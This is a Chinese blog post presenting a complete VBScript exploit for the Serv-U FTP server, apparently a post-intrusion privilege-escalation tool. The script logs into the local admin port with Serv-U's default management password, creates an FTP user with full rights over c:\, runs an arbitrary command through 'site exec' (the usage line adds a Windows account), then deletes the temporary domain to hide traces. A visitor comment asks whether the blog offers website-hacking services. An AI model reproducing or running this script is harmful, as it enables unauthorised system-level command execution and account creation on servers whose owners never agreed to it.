serv-u.vbs

cooldiyer's blog

  1. 'usage:wscript su.vbs "net user cooldiyer 123456 /add"  
  2. on error resume next  
  3. Dim servuManagePort  
  4. Dim servuManageName  
  5. Dim servuManagePass  
  6. Dim command  
  7. servuManagePort = 43958 '修改为主机serv-u的管理端口  
  8. servuManageName = "LocalAdministrator" '管理用户名  
  9. servuManagePass = "#l@$ak#.lk;0@P" '管理密码  
  10. command = LCase(WScript.Arguments(0)) '在第一个参数中设置你要运行的命令  
  11. Dim revdata  
  12. Dim sendata  
  13. Set sock=createobject("MSWinsock.Winsock")  
  14. Sock.protocol=0  
  15. Sock.connect "127.0.0.1",servuManagePort  
  16. WScript.sleep 10  
  17. Sendata="USER "&servuManageName& chr(10) &chr(13)  
  18. Sock.senddata Sendata  
  19. WScript.sleep 10  
  20. Sendata="PASS "&servuManagePass& chr(10) &chr(13)  
  21. Sock.senddata Sendata  
  22. WScript.sleep 10  
  23. Sendata="SITE MAINTENANCE"& chr(10) &chr(13)  
  24. Sock.senddata Sendata  
  25. WScript.sleep 10  
  26. Sendata="-SETDOMAIN"& chr(10) &chr(13)  
  27. Sock.senddata Sendata  
  28. WScript.sleep 10  
  29. Sendata="-Domain=hhxx|0.0.0.0|21|-1|1|0 "& chr(10) &chr(13)  
  30. Sock.senddata Sendata  
  31. WScript.sleep 10  
  32. Sendata="-DynDNSEnable=0 "& chr(10) &chr(13)  
  33. Sock.senddata Sendata  
  34. WScript.sleep 10  
  35. Sendata=" DynIPName="& chr(10) &chr(13)  
  36. Sock.senddata Sendata  
  37. WScript.sleep 10  
  38. Sendata="-SETUSERSETUP"& chr(10) &chr(13)  
  39. Sock.senddata Sendata  
  40. WScript.sleep 10  
  41. Sendata="-IP=0.0.0.0"& chr(10) &chr(13)  
  42. Sock.senddata Sendata  
  43. WScript.sleep 10  
  44. Sendata="-PortNo=21"& chr(10) &chr(13)  
  45. Sock.senddata Sendata  
  46. WScript.sleep 10  
  47. Sendata="-User=cooldiyer"& chr(10) &chr(13)  
  48. Sock.senddata Sendata  
  49. WScript.sleep 10  
  50. Sendata="-Password=cooldiyer"& chr(10) &chr(13)  
  51. Sock.senddata Sendata  
  52. WScript.sleep 10  
  53. Sendata="-HomeDir=c:\"& chr(10) &chr(13) 
  54. Sock.senddata Sendata 
  55. WScript.sleep 10 
  56. Sendata="-Maintenance=System"& chr(10) &chr(13) 
  57. Sock.senddata Sendata 
  58. WScript.sleep 10 
  59. Sendata="-Ratios=None"& chr(10) &chr(13) 
  60. Sock.senddata Sendata 
  61. WScript.sleep 10 
  62. Sendata=" Access=c:\|RWAMELCDP"& chr(10) &chr(13)  
  63. Sock.senddata Sendata  
  64. WScript.sleep 10  
  65. Sendata="-GETUSERSETUP"& chr(10) &chr(13) 
  66. Sock.senddata Sendata 
  67. WScript.sleep 10 
  68. sock.close 
  69. WScript.sleep 10 
  70. Set sock2=createobject("MSWinsock.Winsock")  
  71. Sock2.protocol=0  
  72. Sock2.connect "127.0.0.1",21 
  73. WScript.sleep 10 
  74. Sendata="USER cooldiyer"& chr(10) &chr(13) 
  75. Sock2.senddata Sendata 
  76. WScript.sleep 10 
  77. Sendata="PASS cooldiyer"& chr(10) &chr(13) 
  78. Sock2.senddata Sendata 
  79. WScript.sleep 10 
  80. Sendata="site exec "&command&chr(10) &chr(13) 
  81. Sock2.senddata Sendata 
  82. WScript.sleep 10 
  83. Sock2.close 
  84. WScript.sleep 10 
  85. Set sock3=createobject("MSWinsock.Winsock")  
  86. Sock3.protocol=0  
  87. Sock3.connect "127.0.0.1",servuManagePort 
  88. WScript.sleep 10 
  89. Sendata="USER "&servuManageName& chr(10) &chr(13) 
  90. Sock3.senddata Sendata 
  91. WScript.sleep 10 
  92. Sendata="PASS "&servuManagePass& chr(10) &chr(13) 
  93. Sock3.senddata Sendata 
  94. WScript.sleep 10 
  95. Sendata="SITE MAINTENANCE"& chr(10) &chr(13) 
  96. Sock3.senddata Sendata 
  97. WScript.sleep 10 
  98. Sendata="-DELETEDOMAIN"& chr(10) &chr(13)  
  99. Sock3.senddata Sendata  
  100. WScript.sleep 10  
  101. Sendata="-IP=0.0.0.0"& chr(10) &chr(13) 
  102. Sock3.senddata Sendata 
  103. WScript.sleep 10 
  104. Sendata=" PortNo=21"& chr(10) &chr(13) 
  105. Sock3.senddata Sendata 
  106. WScript.sleep 10 
  107. Sendata="-GETDOMAIN"& chr(10) &chr(13)  
  108. Sock3.senddata Sendata  
  109. WScript.sleep 10  
  110. Sock3.close

 

关键词: serv-u , 脚本渗透 , 工具

上一篇: 部分数据丢失
下一篇: 项目终于是搞定了

相关文章
访客评论
#1
回复 kiss 2007-04-10, 23:08:04
你们有提供黑站服务吗?
发表评论

评论内容 (必填):